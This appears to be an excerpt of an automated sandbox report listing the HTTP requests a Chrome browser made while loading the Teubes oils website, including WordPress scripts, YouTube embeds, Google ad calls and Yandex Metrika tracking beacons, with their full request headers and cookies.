Source: global traffic	HTTP traffic detected: GET /s/player/6b3caec8/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/6b3caec8/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/6b3caec8/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-lightbox-2/js/dist/wp-lightbox-2.min.js?ver=1.3.4.1 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/rubbersoul/js/navigation.js?ver=20140711 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/rubbersoul/js/rubbersoul-scripts-functions.js?ver=2.3.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer_old/assets/js/dist/js_composer_front.min.js?ver=6.2.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner.jpg HTTP/1.1Host: www.teubes.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer_old/assets/lib/vc_carousel/js/transition.min.js?ver=6.2.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/Citrus-Oils-Teubes-Oils-South-Africa.jpg HTTP/1.1Host: www.teubes.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer_old/assets/lib/vc_carousel/js/vc_carousel.min.js?ver=6.2.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.1.7 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /releases/v5.0.0/webfonts/fa-solid-900.woff2 HTTP/1.1Host: use.fontawesome.comConnection: keep-aliveOrigin: https://www.teubes.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://use.fontawesome.com/releases/v5.0.0/css/all.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /releases/v5.0.0/webfonts/fa-brands-400.woff2 HTTP/1.1Host: use.fontawesome.comConnection: keep-aliveOrigin: https://www.teubes.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://use.fontawesome.com/releases/v5.0.0/css/all.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/1eOe_vR2IMQ/maxresdefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/rubbersoul/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1Host: www.teubes.comConnection: keep-aliveOrigin: https://www.teubes.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.teubes.com/wp-content/themes/rubbersoul/css/font-awesome-4.7.0/css/font-awesome.min.css?ver=6.1.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /instream/ad_status.js HTTP/1.1Host: static.doubleclick.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://www.youtube.comX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/6b3caec8/player_ias.vflset/en_US/remote.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
Source: global traffic	HTTP traffic detected: GET /js/th/b_TtUoPk4pD1jwQcntuo2baylTCTVtlGTDXLPkXoRUg.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/2705.svg HTTP/1.1Host: s.w.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ytc/AIdro_klalc6l_jAyx3Lt8r1JXhMugne0bLUkNlPplmnmKCa8w8w=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_check?scid=2677a275-3a7c-1e96-91b5-630258e18360&cid=99162160 HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id?slf_rd=1 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://www.youtube.comX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/2705.svg HTTP/1.1Host: s.w.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/match.html HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/1eOe_vR2IMQ/maxresdefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /generate_204?p9U06w HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
Source: global traffic	HTTP traffic detected: GET /watch/99162160?wmode=7&page-url=https%3A%2F%2Fwww.teubes.com%2F&charset=utf-8&uah=chu%0A%22Chromium%22%3Bv%3D%22134%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224%22%2C%22Google%20Chrome%22%3Bv%3D%22134%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A134.0.6998.36%0Achl%0A%22Chromium%22%3Bv%3D%22134.0.6998.36%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224.0.0.0%22%2C%22Google%20Chrome%22%3Bv%3D%22134.0.6998.36%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1630%3Acn%3A1%3Adp%3A0%3Als%3A1535836669915%3Ahid%3A344252978%3Az%3A-240%3Ai%3A20250317080233%3Aet%3A1742212953%3Ac%3A1%3Arn%3A427197675%3Arqn%3A1%3Au%3A1742212953540488512%3Aw%3A1280x897%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5856%3Awv%3A2%3Ads%3A401%2C1014%2C705%2C229%2C53%2C0%2C%2C7399%2C1%2C%2C%2C%2C9816%3Aco%3A0%3Acpf%3A1%3Ans%3A1742212942588%3Arqnl%3A1%3Ast%3A1742212955%3At%3ATeubes%20%E2%80%93%20Oils%20Out%20of%20Africa&t=gdpr(14)clc(0-0-0)rqnt(1)aw(1)rcm(1)cdl(na)eco(42009088)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://www.teubes.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: i=kfdf2RbELEq92pymX/tPFnoxY3rfGAcvMn7zYZ2CAjRrmFan4Hr9cmiU/8eD8P7MqhpiY23O8rnFpMgMp9wkc1s8I8E=; yandexuid=8164734271742212954; yashr=5844313471742212954; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDanuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; sync_cookie_csrf=445238413fake
